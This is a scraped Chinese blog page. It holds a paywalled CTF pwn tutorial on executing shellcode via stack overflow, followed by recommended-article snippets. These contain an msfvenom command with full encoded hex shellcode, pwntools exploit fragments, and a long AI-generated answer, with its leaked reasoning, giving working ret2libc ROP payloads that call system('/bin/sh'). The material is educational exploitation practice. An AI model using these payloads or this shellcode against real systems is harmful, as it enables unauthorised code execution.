CTF-PWN练习之执行Shellcode

最新推荐文章于 2025-11-04 23:59:15 发布
原创 最新推荐文章于 2025-11-04 23:59:15 发布 · 1.7k 阅读 · 1 ·
CC 4.0 BY-SA版权
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
文章标签：

#安全 #web安全

本文详细介绍了CTF PWN练习中执行Shellcode的过程，包括理解Shellcode、栈溢出攻击执行Shellcode的原理，以及通过源码审计、gdb调试来构造特定输入数据，最终实现Shellcode的执行。实验目的是掌握Shellcode的运用和栈溢出攻击技术。

目录

预备知识

本实验要求实验者具备如下的相关知识。

一、相关实验

本实验要求您已经认真学习和完成了《CTF PWN练习之返回地址覆盖》。

二、Shellcode

Shellcode指缓冲区溢出攻击中植入进程的恶意代码，这段代码可以弹出一个消息框，也可以在目标机器上打开一个监听端口，甚至是删除目标机器上的重要文件等。
Shellcode通常需要使用汇编语言进行开发，并转换成二进制机器码，其内容和长度经常还会受到很多实际条件的限制，因此开发Shellcode通常都是非常困难的。在实际场景中，我们通常使用Metasploit这个工具来定制各种功能的Shellcode，当然也可以去网上查找一些现有的Shellcode进行测试，通常在shell-storm以及exploit-db等网站上都能找到一些比较成熟和稳定的shellcode，网址为：
http://shell-storm.org/shellcode/
http://www.exploit-db.com/shellcode/

三、执行Shellcode

在缓冲区溢出攻击中，如何执行我们的Shellcode呢？我们一般通过输入数据来将Shellcode传递给目标进程，在实验《CTF PWN练习之返回地址覆盖》中我们已经知道了如何改写函数的返回地址，那

最低0.47元/天 解锁文章
CTF-PWN练习之通用跳转技术
ChuMeng1999的博客
01-06 2501
目录预备知识一、相关实验二、strdup函数三、grep命令实验目的实验环境实验步骤一源码审计实验步骤二使用gdb调试程序实验步骤三发起溢出攻击 预备知识 一、相关实验 本实验要求您已经认真学习和完成了《CTF PWN练习之绕过返回地址限制》。 二、strdup函数 strdup可以用于复制一个字符串，我们通常使用字符串时会使用strcpy，这要求已经定义好了一个接收缓冲区。而strdup只接受一个参数，也就是要复制的字符串的地址，strdup()会先用malloc()配置与参数字符串相同大小的的空间，然后
CSAWCTF-2018-pwn-shellcode 题解
lifanxin的博客
11-29 1604
Write Up知识点关键字样本运行静态分析程序逻辑求解脚本一些细节：wp_shellcode.py 知识点关键字 栈溢出，shellcode拆分+组装 样本 样本来自2018年CSAWCTF的pwn题目shellcode 运行 检查文件，发现有两个可以利用的点：   栈溢出保护未开启；   NX保护未开启，存在RWX段。 $ checksec CSAWCTF-2018-pwn [*] '/home/fanxinli/pwnSample/CSAWCTF-2018/CSAWCTF-2018-pwn'
shellcode 执行盒
01-04
//msfvenom -p windows/exec CMD=calc.exe -f exe -e x86/shikata_ga_nai -i 6 -f c 生成shellcod 测试数据： bf6e4a2508d9ebd97424f45d33c9b131317d13037d1383c56aa8d0f49aae1b055acf92e06bcfc161dbff8224d774c6dc6cf8cfd3c5b729ddd6e40a7c54f75e5e6538939fa2255ecd7b21cde2087fce894291566d1290772029cb57c2fe67dedce342a857d7392bbe26c180ff8730d8382fabaf304c56a8862f8c3d1d9747e5f9268b70892460f6d52877db6d54fcdaa1dd46f965861d603f62f39d5fcdac3b2be3b93176693fc70cdf3fd70e4f28e685002ff74f65cf155a9378800f1ee533fa5c10b00f1ce7a86519a36e9553bc1a99c0bd0efa872dd2d322d6712c 将shellcode作为参数传入执行盒，./shllcode_Argv.exe bf6e4a2508d9ebd97424f45d33c9b131317d13037d1383c56aa8d0f49aae1b055acf92e06bcfc161dbff8224d774c6dc6cf8cfd3c5b729ddd6e40a7c54f75e5e6538939fa2255ecd7b21cde2087fce894291566d1290772029cb57c2fe67dedce342a857d7392bbe26c180ff8730d8382fabaf304c56a8862f8c3d1d9747e5f9268b70892460f6d52877db6d54fcdaa1dd46f965861d603f62f39d5fcdac3b2be3b93176693fc70cdf3fd70e4f28e685002ff74f65cf155a9378800f1ee533fa5c10b00f1ce7a86519a36e9553bc1a99c0bd0efa872dd2d322d6712c 即可执行该段shellcode。 该exe可传vt查看报毒情况，无特征码
【pwn】shellcode构造
m0_74343871的博客
11-04 352
二进制安全：shellcode构造
*CTF——shellcode
weixin_34186128的博客
04-28 788
一看题目是利用shellcode解决问题 伪代码： EXP： from pwn import* context(os='linux',arch='amd64',log_level='debug') p = process('./shellcode') shellcode ='s\x00'+ asm(shellcraft.sh())：i，j指针同时指向s，跳出内循环，\x0...
shellcode
WEB安全测试学习中……
03-09 1302
<br />Shellcode实际是一段代码（也可以是填充数据），是用来发送到服务器利用特定漏洞的代码，一般可以获取权限。<br />另外，Shellcode一般是作为数据发送给受攻击服务的。 <br />Shellcode是溢出程序和蠕虫病毒的核心，提到它自然就会和漏洞联想在一起，毕竟Shellcode只对没有打补丁的主机有用武之地。网络上数以万计带着漏洞顽强运行着的服务器给hacker和Vxer丰盛的晚餐。漏洞利用中最关键的是Shellcode的编写。由于漏洞发现者在漏洞发现之初并不会给出完整Shell
学Shellcode 的练习代码
小发猫
01-16 1604
 #include /*void test(){ // sub esp, 44h int b; int *k=&b; k+=22; (*k) = 88; printf("aaaaaaaaaaaaa %d k = %#0x/n", (*k), k);/* __asm {  mov DWORD PTR [ebp-4], a  mov DWORD PTR [ebp+54h], a }*//* p
CSAWCTF-2018-pwn-shellcode|CSAWCTF-2018-pwn-shellcode
12-10
CSAWCTF 2018年pwn题 shellcode 变形shellcode练手题目，该题目主要是利用三个节点来注入shellcode，考验解题人对shellcode的熟悉程度。题解：https://blog.youkuaiyun.com/A951860555/article/details/110350773
跟着CTF-wiki学pwn——ret2shellcode
qq_42882717的博客
07-01 1094
CTF-wiki的注解：ret2shellcode
pwn-shellcode执行
GalaxySpaceX的博客
08-23 1649
pwn-shellcode执行
shellcode执行盒_简单shellcode学习
weixin_39849127的博客
12-06 226
本文由“合天智汇”公众号首发 作者：hope引言之前遇到没开启NX保护的时候，都是直接用pwtools库里的shellcode一把梭，也不太懂shellcode代码具体做了些什么，遇到了几道不能一把梭的题目，简单学习一下shellcode的编写。前置知识NX(堆栈不可执行)保护shellcode(一段16进制的数据，转化为字符串则为汇编代码)pwnable之start保护检测可以看到这道题目什么保...
shellcode学习
weixin_52878095的博客
03-12 5016
一道题目 最近在buu上面刷题的时候发现了一道题目 ciscn_2019_s_9 ，这道题目需要我们自己编写 shellcode ，以前 shellcode 都是从 pwntools 或者是msf里面直接生成的，所以借此机会来学习一下 shellcode 的编写 我们先检查一下附件的保护机制 ，啥保护也没开，所以我们可以直接在栈上面构造shellcode然后执行 丢到IDA里面看一下，这里变量s的栈空间只有.0x20大小，而fgets函数可以读入50即0x32，所以存在栈溢出 我们看一下 pwntool
强网杯2021CTF 强网先锋shellcode侧信道攻击复现
qq_39948058的博客
08-27 1701
前言：由于个别原因这个比赛忘记参加了，所以赛后挑选了一道测信道攻击的题来进行复现，这个题开启了沙盒，采用测信道爆破flag，大概思路：使用retf切换到32位open来进行open('./flag')，retfq再回到64位的write和read就可以了，此题禁用了open所以使用32位的open，如果禁用了write就使用32位的write，同理，具体代码分析，懂汇编就能看懂这里就不赘述了，参考了别的大佬的exp，大概就是这样写的,至于系统调用号可以参考前篇调用号文章 exp： from pwn i
虎符CTF2022 —shellcode
qq_54894802的博客
09-21 547
我们进行动态调试，先准备手动脱壳的，脱的时候发现居然有反调试，准备动态调试将反调试的patch但是发现很难脱，脱了半天还在循环，可能太菜的原因（T _ T）。或者记下这个地址，我们使用IDA的附加调试，将IDA附加到程序上，因为程序运行到了打印字符 了，所以壳肯定是解开了。将程序放入X32DBGz中进行分析，我们按F9运行几次，我们就可以运行到我们的OPE之中了。进入之后，我们进行简单的分析可以发现，这个函数实现的是base64加密。看分析还是比较简单，就是将原本程序里面的两端提示，进行加密的。
攻防世界 Pwn getshell
MrTreebook的博客
10-18 447
攻防世界pwn getshell 文章目录攻防世界pwn getshell前言1.checksec走一下2.IDA看一眼3.直接连接服务器 前言 非常简单的获取shell 1.checksec走一下 2.IDA看一眼 确实只要运行就能获取flag 3.直接连接服务器 nc 111.200.241.244 54762 直接cat flag cyberpeace{8e0ddb83cee6d543208ba67e1a4a1ddd} ...
执行shellcode的几种方式
qq_41683305的博客
02-24 5329
首先写出汇编成功弹出计算器 #pragma comment(linker,"/section:.data,RWE") //data段可读写 #pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"") //不显示窗口 #pragma comment(linker,"/INCREMENTAL:NO") //指...
投稿 | 初始Shellcode之Shellcode执行工具编写思路
Ms08067安全实验室
04-19 560
文章来源｜MS08067 公众号读者投稿本文作者：Arks7（Ms08067实验室读者）这是一段C++ 加载器的代码，代码来之倾旋大佬的博客，先看大佬给的注释。#include// 入口...
ShellCode
qq_41490873的博客
04-18 285
编写规则 1：不能有全局变量 2：不能使用常量字符串 3：不能使用系统调用 4：不能嵌套调用其他函数 使用字符串的方式： char getName[]={‘G’,‘e’,‘t’,‘N’,‘a’,‘m’,‘e’,0}; 不使用系统调用的解决思路： 全部的函数都使用 GetProcAddress(LoadLibary()) LoadLibary 函数得到的是模块的基址 ，可以通过TEB->P...
ctf-pwn怎么用write+read求libc的基址
最新发布
11-15
<think> 我们参考引用内容，特别是引用[1]到[5]，来回答用户关于使用write和read函数在CTF Pwn中求libc基址的方法。 根据引用[4]和[5]，我们知道： 1. 程序运行后，libc中的函数在内存中的实际地址 = libc基址 + 函数在libc中的偏移量。 2. 我们可以通过泄露一个已经执行过的函数的实际地址（例如write或puts）来计算libc基址。 在CTF Pwn中，如果程序有栈溢出漏洞，我们可以构造ROP链来调用write函数（或puts函数）来泄露某个函数的真实地址（通常是GOT表中存储的地址），然后通过这个地址减去该函数在libc中的偏移量，得到libc基址。 具体到使用write+read的方法，通常步骤如下： 步骤1：第一次溢出，利用ROP调用write函数，将GOT表中某个函数（如write自身或puts）的地址输出到标准输出（文件描述符1）。同时，为了后续继续利用，我们需要控制程序返回到一个可以再次触发溢出的位置（如main函数开头）。 步骤2：接收程序输出，解析出泄露的函数地址。 步骤3：根据泄露的函数地址，计算libc基址（基址 = 泄露的函数地址 - 该函数在libc中的偏移量）。注意，不同libc版本中函数的偏移量不同，因此需要确定libc版本（可以通过泄露多个函数地址来匹配，或者题目提供了libc文件）。 步骤4：根据libc基址，计算出system函数和字符串"/bin/sh"的地址。 步骤5：第二次溢出，利用ROP调用read函数（或其他输入函数）将构造好的ROP链（调用system("/bin/sh")）写入到某个可写内存区域（如.bss段），然后跳转到该区域执行；或者直接构造ROP链调用system("/bin/sh")。 但是，用户特别提到使用write+read，所以这里重点在于利用write泄露地址和利用read再次读入数据。 以下是一个典型利用场景的伪代码： 第一次ROP链： - 覆盖返回地址为write函数的PLT地址（write@plt） - 设置write函数的参数：文件描述符（1）、要泄露的地址（如write_got，即GOT表中write的地址）、输出的长度（4或8字节，取决于32位还是64位） - 设置返回地址为main函数的地址（或另一个可以再次触发溢出的地址），这样在write执行完后程序会重新运行到有漏洞的地方。 接收程序输出的write_got的值，然后计算libc基址。 第二次ROP链： - 覆盖返回地址为read函数的PLT地址（read@plt） - 设置read函数的参数：文件描述符（0，即标准输入）、存储地址（如.bss段的一个缓冲区）、长度（足够长以容纳我们输入的ROP链） - 设置返回地址为存储的ROP链的起始地址（即.bss段的那个缓冲区），这样read函数读入的数据（即我们构造的ROP链）会从.bss段开始执行。 第二次ROP链中，我们可以在.bss段写入一个ROP链，这个ROP链调用system("/bin/sh")。或者，我们可以利用read函数读入一个ROP链直接调用system("/bin/sh")，但要注意此时需要知道system函数的地址。 另一种常见的做法是：第二次ROP链直接构造调用system("/bin/sh")，而不通过read再次读入。但这里用户要求使用read，所以我们需要用read来读入后续的ROP链或字符串。 具体构造示例（32位）： 第一次ROP链： - 填充缓冲区 - write@plt - main_addr (返回地址) - 1 (文件描述符) - write_got (要泄露的地址) - 4 (输出长度) 接收4个字节的write_got地址，计算libc基址：libc_base = write_addr - libc_write_offset 然后计算system地址和/bin/sh地址： system_addr = libc_base + libc_system_offset binsh_addr = libc_base + libc_binsh_offset 第二次ROP链： - 填充缓冲区 - read@plt - system_addr (注意：这里我们希望read后返回到system，并且参数是/bin/sh，但需要调整栈) - 0 (文件描述符) - binsh_addr (读入地址？这里需要调整思路) 实际上，我们通常需要将"/bin/sh"字符串写入内存，如果libc中已经有这个字符串，我们可以直接使用。然后调用system函数。 但是，如果我们使用read读入，我们可以这样： 第二次ROP链1（使用read读入字符串和后续ROP）： read(0, bss_addr, len(payload)) # 读入payload到bss_addr 然后返回到bss_addr（即执行我们读入的shellcode或ROP链） 但是，我们也可以直接构造ROP链调用system，此时需要将"/bin/sh"的地址作为参数。我们可以将"/bin/sh"字符串读入到已知地址（如.bss段），然后调用system。 因此，第二次ROP链可以这样： - 覆盖返回地址为read@plt - 设置返回地址为pop指令的地址（用于清理read的参数），然后接着是system的地址和参数 - 参数1：0（标准输入） - 参数2：bss_addr（.bss段的一个地址，用于存放我们输入的字符串"/bin/sh"） - 参数3：8（长度，足够存放字符串） - 然后设置返回地址为一段gadget：pop ebx; ret; 这样当read执行完后，会弹出参数（清理栈），然后执行下一条指令。接着我们调用system，参数是bss_addr。 具体构造（32位）： payload2 = padding + read_plt + pop3_ret + 0 + bss_addr + 8 + system_addr + ret_addr + bss_addr 解释： - 调用read(0, bss_addr, 8)读入8个字节到bss_addr（这里我们输入"/bin/sh\x00"） - read函数返回后，执行pop3_ret（一个弹出3个参数的gadget），将read的参数弹出栈，然后返回到system_addr - system_addr的返回地址是ret_addr（可以是一个无用的ret指令地址），参数是bss_addr（即我们读入的字符串地址） 但是，在64位系统中，参数传递通过寄存器，所以构造方式不同。 由于用户没有指定是32位还是64位，这里我们以32位为例。 然而，在实际题目中，我们往往需要根据题目提供的libc来确定偏移量，或者使用LibcSearcher等工具来查找。 总结步骤： 1. 利用write泄露一个GOT表地址（如write_got）。 2. 计算libc基址（需要知道该函数在libc中的偏移）。 3. 计算system和/bin/sh的地址（需要知道它们在libc中的偏移）。 4. 利用read函数读入字符串"/bin/sh"到.bss段（可选，如果libc中已有则不用读入）。 5. 构造ROP链调用system("/bin/sh")。 注意：如果题目中write函数不可用，也可以用puts函数，但puts遇到'\0'会结束，所以需要小心。 引用[5]中提到了使用LibcSearcher来查找libc版本和偏移，我们可以使用类似的工具。 下面是一个简化的例子（假设是32位程序）： 第一次ROP链： payload1 = 'A'*offset + p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(4) 然后，接收泄露的write_got地址（4字节），解析为地址。 然后，计算libc_base = write_addr - libc.symbols['write'] # 这里需要知道libc版本，或者使用LibcSearcher 接着，计算system_addr = libc_base + libc.symbols['system'] binsh_addr = libc_base + next(libc.search('/bin/sh')) # 或者如果libc中没有，则需要读入 第二次ROP链： # 首先，我们需要读入"/bin/sh"字符串到.bss段（假设bss_addr已知） payload2 = 'A'*offset payload2 += p32(read_plt) # 调用read payload2 += p32(pop3_ret) # read返回后跳到这里，弹出3个参数 payload2 += p32(0) # fd=0 payload2 += p32(bss_addr) # buf payload2 += p32(8) # len # 然后，我们调用system，参数是bss_addr payload2 += p32(system_addr) payload2 += p32(0) # system的返回地址，可以随意 payload2 += p32(bss_addr) 然后发送payload2，接着发送字符串"/bin/sh\x00"（8字节）。 这样，程序就会执行system("/bin/sh")。 但是，如果libc中已经有"/bin/sh"字符串，我们可以直接使用，不需要读入。那么第二次ROP链可以简化为： payload2 = 'A'*offset + p32(system_addr) + p32(0) + p32(binsh_addr) 然而，用户要求使用read，所以这里我们展示的是需要读入字符串的情况。 注意：实际题目中，我们可能还需要考虑栈平衡等问题。 以上是使用write+read求libc基址并最终获取shell的方法。 现在，我们根据用户要求生成相关问题。 §§相关问题§§ 1. 在32位和64位系统中，利用write和read函数求libc基址的主要区别是什么？ 2. 如果程序中没有write函数，还可以用哪些函数来泄露libc基址？ 3. 在利用read函数读入数据时，如何确定.bss段的地址？ 4. 如何解决不同libc版本中函数偏移量不同的问题？ 5. 在构造ROP链时，为什么有时候需要返回到main函数重新开始？ </think>### CTF Pwn中使用write+read求libc基址的方法 在CTF Pwn中，通过`write`和`read`函数泄露libc基址是常见的利用技术，主要流程如下： #### 核心原理 1. **libc地址计算** libc基址 = 泄露的函数实际地址 - 该函数在libc中的固定偏移量 即：$libc\_base = leaked\_addr - offset$ 2. **GOT/PLT机制** GOT表存储函数真实地址，通过泄露GOT表项获取libc函数地址（如`write@got`）[^2][^5]。 #### 操作步骤 1. **第一次ROP链（泄露地址）** ```python payload1 = b'A' * offset # 填充缓冲区 payload1 += p64(pop_rdi) # 设置rdi=1 (stdout) payload1 += p64(1) payload1 += p64(pop_rsi) # 设置rsi=write_got payload1 += p64(elf.got['write']) payload1 += p64(pop_rdx) # 设置rdx=8 (64位地址长度) payload1 += p64(8) payload1 += p64(elf.plt['write']) # 调用write(1, write_got, 8) payload1 += p64(main_addr) # 返回main重新触发溢出 ``` - 执行后接收输出的8字节数据，解析为`write`函数的实际内存地址[^5]。 2. **计算libc基址** ```python write_addr = u64(io.recv(8)) # 解析泄露的地址 libc_base = write_addr - libc.sym['write'] # 计算基址 system_addr = libc_base + libc.sym['system'] binsh_addr = libc_base + next(libc.search(b'/bin/sh')) ``` 3. **第二次ROP链（getshell）** ```python payload2 = b'A' * offset payload2 += p64(pop_rdi) payload2 += p64(binsh_addr) # rdi="/bin/sh" payload2 += p64(ret) # 栈对齐(可选) payload2 += p64(system_addr) # 调用system("/bin/sh") ``` #### 关键点说明 1. **`read`函数的作用** - 在限制输入长度的题目中（如[^3]），用`read`构造栈迁移： ```python payload += p64(pop_rdi) + p64(0) # fd=0 (stdin) payload += p64(pop_rsi) + p64(new_stack) # 目标栈地址 payload += p64(elf.plt['read']) # read(0, new_stack, size) payload += p64(migrate_gadget) # 跳转到新栈 ``` - 将后续ROP链读到可控内存区域（如.bss段）[^3]。 2. **动态偏移处理** - 当libc版本未知时，用`LibcSearcher`匹配： ```python from LibcSearcher import * libc = LibcSearcher('write', write_addr) libc_base = write_addr - libc.dump('write') ``` #### 典型应用场景 1. 存在栈溢出但无`system`/`/bin/sh`的程序 2. 开启NX保护时（无法执行shellcode） 3. 输入长度受限需结合栈迁移（如[^3]） ---
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值